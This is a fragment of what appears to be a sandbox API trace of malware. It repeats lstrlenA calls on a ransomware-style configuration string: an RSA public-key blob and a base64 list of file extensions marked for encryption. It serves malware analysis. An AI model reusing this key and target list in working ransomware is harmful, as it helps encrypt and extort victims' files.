sIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA 